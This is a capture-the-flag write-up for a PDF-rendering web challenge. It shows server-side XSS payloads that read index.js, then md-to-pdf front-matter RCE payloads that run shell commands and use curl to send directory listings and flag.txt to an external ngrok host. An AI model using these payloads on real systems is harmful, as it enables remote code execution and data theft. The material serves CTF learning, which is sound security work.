---
description: WEB | 54 pts - 406 solves
---

# My Little Website

> Description: I am new to programming and made this simple pdf creater website here, hopefully it is secure enough :)... [http://web.chal.csaw.io:5013](http://web.chal.csaw.io:5013)

The challenge comes as a pdf rendering website, we can inject markdown or maybe...javascript.\
First thing, check for XSS:

```javascript
<script> document.write(window.location) </script>
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-8ca6f2ec7dcfada70483f86d74c5f3722d0a6a1d%2F1.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, vulnerable, actually, it's Server-Side XSS, as we're not injecting code in the webpage (client-side), instead we executing code on the server-side of the application.\
Let's try something more interesting:

```javascript
<script>document.write('<iframe src="/"></iframe>')</script>
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-d3336a844f5ac723b8ff120d6ec01710a7cbd7dc%2F2.png?alt=media" alt=""><figcaption></figcaption></figure>

We're inside /chal directory, node.js webapp, but index.js seems definitely something interesting for us, let's try to read it:

```javascript
<script>
fetch('index.js')
  .then(response => response.text())
  .then(text => document.write(text))
</script>
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-137aa80aa203a04f920e82e029f2937b8d18ed30%2F3.png?alt=media" alt=""><figcaption></figcaption></figure>

That's a lot of info, but what's most important is the `mdToPdf` package, with a quick search we'll know that we can do RCE: [https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880](https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880).

```javascript
---js
require('child_process').execSync('ls -la > /tmp/tmp.txt && curl -d @/tmp/tmp.txt http://06f6-151-62-28-161.eu.ngrok.io')
---
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-e1aab9eab4ed7dd7bb04fe22ad344fc6661e96fb%2F4.png?alt=media" alt=""><figcaption></figcaption></figure>

No flag here, let's try to look one directory above:

```javascript
---js
require('child_process').execSync('ls -la .. > /tmp/tmp.txt && curl -d @/tmp/tmp.txt http://06f6-151-62-28-161.eu.ngrok.io')
---
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-f84f863529cd06b4fb570f3369ecfad30a0e24aa%2F5.png?alt=media" alt=""><figcaption></figcaption></figure>

Here we go, read flag.txt:

```javascript
---js
require('child_process').execSync('curl -d @../flag.txt http://06f6-151-62-28-161.eu.ngrok.io')
---
```

<figure><img src="https://3525522742-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5W0dBJgjI9bjS7hNDvKF%2Fuploads%2Fgit-blob-2e78be926808fc7b58e982bfd21383f16156ec27%2F6.png?alt=media" alt=""><figcaption></figcaption></figure>

> CTF{pdf\_c0nt1nu3s\_70\_5uCK}
